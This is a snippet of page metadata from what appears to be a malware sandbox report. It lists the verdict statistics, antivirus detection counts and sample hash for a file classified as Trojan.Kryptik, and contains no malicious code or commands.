Malware family: Trojan.Kryptik. Threat score 100/100. 15/26 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/24ca467f398c64c1f70011ffc53598f2f09971998e08e2267f39f06776afbb15"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Kryptik Sample 24ca467f398c… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 24ca467f398c…. Malware family: Trojan.Kryptik. Threat score 100/100. 15/26 AV engines flagged this file. 7 malicious and 15 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L3f","11",{}]]